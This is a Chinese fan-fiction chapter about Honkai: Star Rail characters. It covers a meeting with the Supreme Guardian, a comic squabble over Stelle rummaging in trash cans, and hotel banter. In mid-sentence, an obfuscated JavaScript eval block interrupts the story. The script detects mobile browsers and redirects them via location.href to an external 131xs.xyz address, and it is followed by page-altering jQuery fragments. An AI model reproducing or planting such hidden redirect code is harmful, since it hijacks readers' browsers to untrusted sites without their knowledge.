面见大守护者的时间到了,进去的时候还遇上了一个少女正在和大守护者争论着什么,在被态度强硬地决定了事情后,可可利亚表示欢迎他们的到来。 谈话进行的非常顺利,大守护者看起来也特别友善,但有初四的雷达岂是浪得虚名?他一眼就看出可可利亚在说谎,字里行间表示对星核的事情不了解,但却不是这样,真假参半的话语最能糊弄人,不过有初四也用过这一套,只要让可可利亚亲口说出某件事,他就能分辨是否是谎话,同伴们也会配合他,引导对方直面回答。 但雷达对真正对一件事有不同认知的人不管用,像是ai运行出现了障碍,无法解析这么复杂的东西,星因此戏称他是测谎仪。 “测谎仪是什么意思?” “这个嘛……不可说不可说!” 星并不打算解释,然后她就付出了被大喝一声“我一眼就看出你是谜语人!”的有初四追着跑过了几个车厢,一个回合后成功被初始速度高达100的有初四追上,并被狠狠rua了一顿的代价。 三月七思索:“感觉谜语人滚出列车更合适?” 安稳坐着的丹恒摇摇头,示意她去看窗外的太空,“这种时候也下不了车吧?” “……丹恒你变了。” 俗话说的好,不是一家人不进一家门,在两只无名客先后上了列车后,整体气氛就在不知不觉中变了,像是一种极其可怕的,传染性强的病毒感染了列车里的所有成员! 有初四:“按照星的星核精设定来说,好像也没错?” 星愣住,又伸手去揉有初四的脸,把那张模样乖巧的脸揉得乱七八糟。 “抛开事实不谈,你就没有错吗!” 都抛开事实了,那还能谈什么? 这场闹剧以瓦尔·特一手控制住一个脑袋告终,让人不禁感叹这就是大家长的威力吗! 另一位大家长姬子笑而不语,小小的无名客们打闹是增进感情的手段,也是感情极佳的体现。 回到正题,在路上表达了自己的想法后,有初四就得到了丹恒的肯定。 “我也有感觉到,当时好像还有其他人也在。” 这点是经过丹恒和有初四双重认证的,足以证明不是太过敏感产生的误会。 “星?怎么不走了。”意外时常发生,但抽出了中平签的有初四自信今天不会有任何意外,星不是被什么突发状况绊住了脚步,她是跟随自己的心意停下来的。 她在看什么? 有初四探头,朝着星发呆的方向看过去,那是一个银色的垃圾桶。 ……垃圾桶? 没能预料到即将发生什么的三月七面前快速窜过一道身影,眼睁睁地看着星朝这个垃圾桶扑过去! 在手套即将触碰到垃圾桶盖的一瞬间,一只带着半指手套的手扯住了她的衣领,一点,就差一点就能碰到了!那么短的距离,此时却那么遥远! 有初四额角冒出一滴冷汗,一点,就差一点星就要去碰那个看起来就不是很好的垃圾桶了! 双方僵持不下,拔河似的一个往前冲一个往外拉,就算是领口勒脖子也绝不放弃!星只觉得有初四的力气此时出奇的大,比打人马虚卒用的力气都大,看来他此刻不想星触碰垃圾桶的意志已经到达了顶峰。 为什么要阻止她,为什么要分开她们?那可是闪闪发光的垃圾桶啊! 三月七和丹恒加入战场,三人合力彻底把着了魔一样的小无名客从垃圾桶面前拉开了,小无名客委屈瘪嘴,小无名客撒泼打滚。 “我不要我不要!就要垃圾桶就要垃圾桶!” 当被问起缘由时,星立刻正襟危坐,“从看到它的那刻起,我就被深深地吸引了!它在朝我眨眼,它在朝我勾手,它在召唤我,它想要我!” 有初四不知道她是怎么在一个普通的垃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581848|170594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圾桶上看出狐狸精一样的行为的,这还是他第一次遇到人被垃圾桶勾引的事情,涨见识了。 “而且我的直觉告诉我,里面绝对有好东西!” “……是吗?”出于对同伴的信任,有初四犹豫地朝那个垃圾桶看去。 星等的就是这一刻!在场速度最快的人注意力被转移,再也没有人能阻止她—— 伸出的手臂再次没够上,星缓缓回头,望进一双暗淡下来的蓝眼睛。 “你这是,为了垃圾桶欺骗我。”神色落寞的黑发青年把手里拎着的衣领又往回扯了一下,已经感觉到外套在脱落的星露出惊恐的表情。 “为什么,为什么……”没想到居然为了第一次见面的狐狸精选择欺骗他,明明,明明是——“明明是我先来的!” 列车上的老幺居然小小年纪就被狐狸精勾走,甚至为此欺骗朋友,真是闻者落泪听者伤心! “我没骗你,真的有好东西!” “我不听我不听——” 已经被两人创到睁着半月眼旁观的三月七幽幽道:“和一个垃圾桶争宠,我该怎么吐槽你?” “既然星真的很想掀,那就让她掀吧。”谁都知道这两人死倔死倔的,要再这么僵持下去他们恐怕明天都走不到歌德酒店,他也非常清楚对这种执着的人来说,越想阻止她要做的事情就越不能成功,他真的深有体会…… 何况有初四也不是真心想阻止她,只是单纯觉得垃圾桶气味难闻,不想让星沾上那种味道而已。 被允许的星一经撒手就扑了上去,抱住垃圾桶狠狠地蹭了蹭,染上了一身的脏污。 三人齐齐倒吸一口凉气。 那双戴着黑手套的手掌温柔地抚摸着垃圾盖子表面,然后狠狠地掀开! “让我看看!” 只见她半个头探进去一阵摸索,然后一声惊呼,翻出一个金灿灿的东西,对三人举起来晃了晃。 “你们快看!是金色传说!” “……” 沉默,三人面无表情地看着那坨被星称为金色传说的东西,就算颜色再怎么鲜亮,垃圾终究是垃圾啊! “它不是一般的垃圾!它是那种,那种很特别的!” “再这么特别也是垃圾吧?” “可是你们看这个颜色!” “金色的垃圾,也是垃圾啊。” “这顺滑的光泽,干净的外表!” “再怎么干净也还是一袋垃圾啊……” “……” 轰隆! 犹如闪电掠过头顶,星颓然跪坐在地,泫然欲泣。 “你们,真的要把我和它分开吗?” 脏兮兮的小浣熊祈求地抬头看着三人,闪着泪花的大眼睛一眨不眨,能感受到其中所蕴含的期待。 “……所以。”有初四指了指自己,“我们现在是棒打鸳鸯的恶人角色吗?” 三月七一脸“真是受够了”的表情,她叹了口气无奈道:“你是认真的?无论富有还是贫穷,无论健康还是疾病,你都会和它永远在一起?” “无论富有还是贫穷,无论健康还是疾病,我都会和它永远在一起!”星的表情是如此坚毅,这一刻,不会有人怀疑她对这段感情的忠诚! 丹恒缓缓打出一个问号:“怎么突然跳转到誓词了?” 事实证明,不能轻信任何一个人,前一秒还深情款款的星把金色垃圾收进背包后,一个瞬身就跑到另一个垃圾桶开始翻找,然后抱着几袋垃圾傻笑。 “海王。”有初四感叹。 “渣女。”三月七感觉自己被欺骗了感情,装的那么像,她真的以为星非那袋垃圾不可了! “怎么会是渣女!”星从垃圾堆里抬头,信誓旦旦:“我只是心碎成了很多片而已,它们都是我的翅膀!” 说完迅速把一袋垃圾放到有初四手上,“小四先帮我拿一下。” 有初四木着脸看着手上的垃圾袋,微湿的触感的飘散出的气味,让他额角蹦出青筋,手臂用力把那袋垃圾往星的脑袋上砸。 “啊!” “跟垃圾桶过一辈子吧你!” 见时间差不多了,丹恒手法娴熟地扯住有初四的领子,领口被扯动的一瞬间就安静下来的有初四乖乖不动了。 “先去宾馆吧,天色不早了,该休息了。” 星心满意足地收起垃圾袋,一个瞬间就把自己变得干干净净,走过去的时候看见乖巧的有初四时还掩嘴咳了两下,并装模作样地说道:“一个丹恒,有啥可怕?” 下一秒,她的领子也被扯住了,两人像被拎住后领子的猫一样僵住不动了。 丹恒面无表情:“你也是。” 一碗水要端平,是保持友好感情的关键。 “……”星笑不出来了,早知道就不犯那个贱了。 到达了歌德宾馆后,略过紧张刺激的情报交流环节后,三月七觉得这样的宾馆枕头一定特别柔软!于是提议打枕头大战,有初四率先举手。 三月七:“好,小四同学有什么疑问吗!” 有初四:“我想玩!”可以肯定他以前没玩过这个,很好奇。 丹恒被扯了几下衣袖,一双闪闪发光的蓝眼睛看着他。 他无奈地叹气,自从上次他避开和有初四对视时被抓到后,有初四就格外喜欢把脸凑过来,让他避不开那双蓝色的眼睛。 枕头大战惨遭丹恒的拒绝,连星表示也要积极参与都没能挽回。 “今天早点休息吧,要为明天的谈判养足精神,枕头大战可以等到下次再打,怎么样?” 丹恒的提议得到了赞同,三月七看了他一会儿默默开口:“丹恒你好像男妈妈啊。” 一句平平无奇的调侃好像戳到了什么关键词一样,丹恒立刻说道:“不要男妈妈!” “……” 陷入了寂静,因为这句话僵住的四人,丹恒是因为不小心脱口而出立即止住后沉默了,其他三人是因为震惊。 “还是头一回这么快见丹恒接上梗。”星摸着下巴点头。 而有初四在感觉到丹恒看了他一眼后恍然大悟。 “男妈妈,我不就是吗!”有人喊他母亲大人,直接无痛当妈。 “这不一样吧,一般来说是性格,你这是字面意义上的男妈妈。” 丹恒在心中默默回答:这倒是,性格完全不符合身份。